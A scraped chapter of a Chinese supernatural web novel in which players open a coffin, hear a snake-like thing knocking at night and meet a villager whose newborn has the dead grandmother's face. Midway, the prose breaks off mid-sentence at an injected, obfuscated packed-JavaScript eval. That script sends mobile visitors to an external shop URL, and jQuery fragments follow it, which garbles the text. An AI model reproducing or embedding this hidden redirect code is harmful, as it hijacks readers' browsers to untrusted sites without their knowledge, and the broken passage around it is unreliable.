文趣网 > 都市小说 > 无限通行[无限] > 16. 门头镜 5
    出口是所有人最关心的问题,所有人都盯着谢知白,指望他能说出点东西来。

    谢知白在万众期待的目光下,轻轻摇头。

    太阳落山后,吹打班子收工,大家都没急着走,打算一起开棺。棺木打开后,老太太的遗体在烛火的照射下呈现出一种僵硬的青灰色,身上出现暗紫红色的斑痕。

    谢知白俯下身,轻轻翻开老太太的眼皮,里面眼结膜上有细密的出血点。

    “怎么样?”侯悦站在棺材对面,目光落在他的手指上。

    谢知白:“不能确定死因,但肯定不是正常死亡。”

    “怎么看出来的?”杜宇凑过来,伸着脖子看老太太的脸,看了两秒又缩回去了。

    谢知白把老太太的寿衣领口重新整理了一下,说:“结膜下出血,可能是呼吸道堵塞,窒息而死。”

    “那么会是谁杀了老太太呢?”何天浩压低声音,生怕被躺着的人听见。

    众人猜测个没完,赵文轩抱着手臂站在人群后面,忽然举手:“我有个猜测——”他眼睛一亮,像是追了一百集苦情剧终于看到大结局的观众,“老太太苛待媳妇,被媳妇给——”他用手在脖子前比划了一下。

    这个猜测说出来之后,围在棺材边的人居然没有人反驳。侯悦微微眯了眯眼,杜宇和杨子嘉对视了一下,何天浩甚至若有所思地点了点头。沈微明靠在供桌边缘,没说话。

    正巧明天是媳妇产子的日子,借着祝贺的由头,他们可以去见见田大妮。

    夜色渐深,王柯盛留下守灵,其余人回到了砖楼。沈微明从一楼储物间里翻出一袋石灰粉,在房门口撒了一层浅浅的白灰,明面上是说看看有没有鬼魂来过,实际上还想看看有没有人再来搞鬼。

    其余几队看到他们的动作,也纷纷效仿。走廊的地面上几乎被石灰粉铺满了。刘彤彤从楼梯口经过,看了一眼地上的石灰,脚步略微快了两步,推门进了自己的房间。

    谢知白回到房间的时候,赵文轩已经躺在地铺上,呼呼大睡。

    “年轻人就是好,”谢知白掀开被子躺上床,轻声感叹了一句,“倒头就睡。”

    他侧过头,准备入睡,然后发现旁边的沈微明也睡着了。

    沈微明现在呼吸均匀,睫毛安静地阖着,整张脸看起来赏心悦目。

    谢知白反应过来自己正盯着他的脸欣赏,立刻翻了个身背对着他,闭上眼,正要让意识沉下去,一条手臂从后面搭过来,松松地搭在他的腰侧,额头抵上他的后肩,蹭了蹭,含含糊糊地呓语了一句:“……师父……”

    谢知白后背僵了一下。

    师父。

    又是师父。

    他不禁想沈微明的师父到底是何许人也,竟让他这般恋恋不忘?

    谢知白摇摇头,把脑子里的想法按下去。就在他快睡着的时候,门外传来一阵窸窸窣窣的声响。像有什么东西在地面上缓慢滑行,带着鳞片摩擦石灰的轻微声。

    紧接着,门被叩响了。

    “咚咚咚。”

    谢知白的眼皮猛地掀开。他下意识地想翻身坐起来,但身体动不了。一种粘稠的困意裹住了他的四肢,像被什么无形的力量按在原处,连一根手指都抬不起来。

    “谁啊?”他的嘴巴自己开口了,声音却苍老沙哑。

    “是我呀,快开开门。”

    他的嘴又动了:“谁啊?”

    “是我呀,快开开门。”

    谢知白浑身汗毛竖起,想去推沈微明,还是动不了,他再次开口:“谁啊?”

    “是我呀,快开开门。”

    问完三遍,谢知白不受控制、直挺挺地坐了起来,沈微明被这三声问答吵醒,一翻身把谢知白又按了回去。

    沈微明贴近,凑到他耳朵旁边,问道:“你带了什么东西回来?”

    谢知白想开口但喉咙不太听使唤。

    “你不说话,我可自己动手了。”沈微明上下其手,在谢知白身上摸了个遍,该说不说,他摸得很有水平,正经地方一个没碰。

    沈微明一定是故意的,他找东西的过程对谢知白来说,真是一种折磨。就在他耳根烧得滚烫,气血翻涌,盯着天花板问候沈微明的亲戚时,沈微明终于从他身上摸出一枚扳指。

    “呼——”指尖离开他身体的瞬间,谢知白长呼了一口气。那层无形的枷锁像同时解开了,他看了一眼那枚扳指,它曾经躺在老太太的陪葬品里。

    “应该是趁人多开棺的时候放我兜里的。”

    沈微明看着扳指,眼里闪过一抹狠戾,转头看向谢知白时又恢复了那种温柔又欠揍的语气:“还僵硬吗?需要我帮忙——”

    “呵呵。”谢知白僵不僵不知道,硬是真硬了,难以置信。他把被子往上拉了一道,盖住自己的大半张脸,声音闷在棉布里,“睡你的觉。”

    门外的叩门声不知道什么时候停了。走廊里重新陷入死寂,连石灰被碾压的窸窣声都消失了。沈微明把扳指握在掌心里掂了掂,翻身下床,披上外套推门出去了。

    谢知白听到他在门口停了片刻,然后脚步声沿着走廊朝楼梯方向移动,渐行渐远。

    他躺在床上,心跳和某个部位一样,还没完全平复。

    沈微明在门口发现了蛇的踪迹,他顺着蛇的印子一路来到一楼,蛇钻进了朱垚的房间。他记得隔壁住的是刘彤彤。

    沈微明走到刘彤彤房间门口,避开门头镜,敲响了门。

    “咚咚咚。”无人应答。

    他又敲了几下,还是无人应答。他学着蛇的声音,在门口喊道:“是我呀,快开开门。”

    这下里面传出惊恐的吸气声,沈微明还像不过瘾似的,把那枚扳指放在了房间门口。

    等到沈微明回来,谢知白一眼就注意到沈微明满是石灰的鞋子,问道:“你又上哪儿了?”

    赵文轩被吵醒,坐起身,揉了揉眼睛:“谢哥,你现在的语气好像查岗的妻子。”

    谢知白侧过头看了他一眼。赵文轩自觉地把嘴闭上,重新倒回了地铺。

    沈微明重新躺上床,往谢知白的方向挤了挤:“扳指总该去它该去的地方。”

    “什么扳指?”赵文轩问。

    “睡吧,沉默的孩子。”沈微明关了灯,房间陷入黑暗。

    第二天一早,众人仍然在鸡鸣声中苏醒。第一个走出房门的是杜宇,他看着走廊上的脚印,整个人定在了门口。

    “……我操。”

    石灰上密密麻麻全是脚印,大大小小,深浅不一,踩得整条走廊面目全非,好像来了整个村的人在他们房门口偷窥。

    沈微明从楼上走下来,注意到蛇印出现在了王柯盛门口,他问道:“你们看到王柯盛了吗?”

    人都出来的差不多了,刘彤彤像个没事人一样,门口的扳指显然已经被她处理了。

    “没看到啊,”肖宏朝王柯盛的门口扫了一眼,“昨晚我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718772|208569||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    和张艺馨去接班的时候还看到他坐在灵堂里,跟我们换班之后他就回来了。”

    吴云扬住在王柯盛隔壁,他走过去敲了敲他的门:“王柯盛,我们要去吃早饭了,你去吗?”没人回应,他又敲了两下。

    “好像有点不对劲。”侯悦站在吴云扬身后,示意姜佑和卢洋帮忙,一起撞开了房门。

    房间里,王柯盛不见了,但地面上有一圈完整的蛇蜕。

    “他被蛇吃了?!”何天浩挤在门口,脸色发白。顺着地上的蛇印往回追溯,那些蜿蜒的痕迹从走廊尽头一路延伸到了他的房间门口。最后在门口绕了一圈,沿着墙根钻进了朱垚的房门。

    无声无息的,又死了一个人。众人沉默地站了一会儿,陆续前往坝子上吃早饭。饭后他们直接去了田大妮的屋外。

    到的时候,孩子已经生出来了,是个男孩,但他们都没看到医生或是接生婆。

    村里人都来贺喜,谢知白一行人等人都走了才进去。

    屋里异常昏暗,田大妮躺在床上,头上包裹着头巾,孩子就在她床边的摇篮里安睡。

    “你们要问什么就问吧。”田大妮好像知晓他们的来意,撑着手半坐起来。

    “你婆婆是你杀的吗?”何天浩一开口,众人只觉得两眼一黑。

    田大妮显然也愣了一下,她的视线落在孩子身上,轻声道:“我和婆婆的关系确实不好,但也不至于杀人。”

    肖宏咳了一声,委婉地说道:“我们不是那个意思,我们就想了解一下你们家的情况。”

    “丈夫去世后,家里就剩我和婆婆,婆婆一走,如今只剩我和三个孩子了。”田大妮说着,抬手朝房间的暗处招了招。

    肖宏一愣,问道:“三个孩子?还有两个在哪儿?”

    两个孩子从光线照不到的角落走了出来。大的女孩约莫四五岁,扎着两个羊角辫,小的男孩矮了半个头。两个孩子动作熟练地爬上床,一左一右靠在田大妮身侧,小手攥着她垂下来的袖口,嘻嘻地笑。

    赵文轩后背一紧。沈微明昨天告诉他的信息里,田大妮的前两个“孩子”都没保住,可现在这两个活生生的孩子就坐在床上。

    沈微明不知什么时候无声无息地移到了摇篮旁边,抬手掀开了盖在婴儿脸前的小棉被一角。他只看了一眼,然后面无表情地把棉被盖了回去。

    谢知白站在他旁边,余光扫到了那张脸——老太太的脸。

    侯悦站在门边,整个人往后撤了半步。姜佑的脸色也变了。

    “不对啊,我们在灵堂上见过你的丈夫。”肖宏想起来,这家的男主人当时还跟他打了招呼。

    田大妮抬起头,嘴角慢慢往上提,轻声说道:“是吗?”烛火在她的瞳仁里跳了一下,像两簇幽幽的鬼火,“那你应该是遇到鬼了,我们村里常常闹鬼。”

    “已经闹鬼——很久了。”

    众人几乎是挤着门框退出的屋子。田大妮靠在床头目送他们,嘴角一直带着诡异的微笑。

    屋外,阳光重新洒在身上,暖洋洋的,驱散了心头的寒意。他们快步穿过院坝,谢知白却突然停下来。

    沈微明问道:“怎么了?”

    谢知白抬头看着院坝里的那棵粗壮的老槐树,说了一句毫不相关的话:“老太太的全家福就是在这个位置拍的。”

    赵文轩挠挠头:“那咋了?”

    沈微明却反应过来,照片里,院坝里的老槐树,还是小树苗。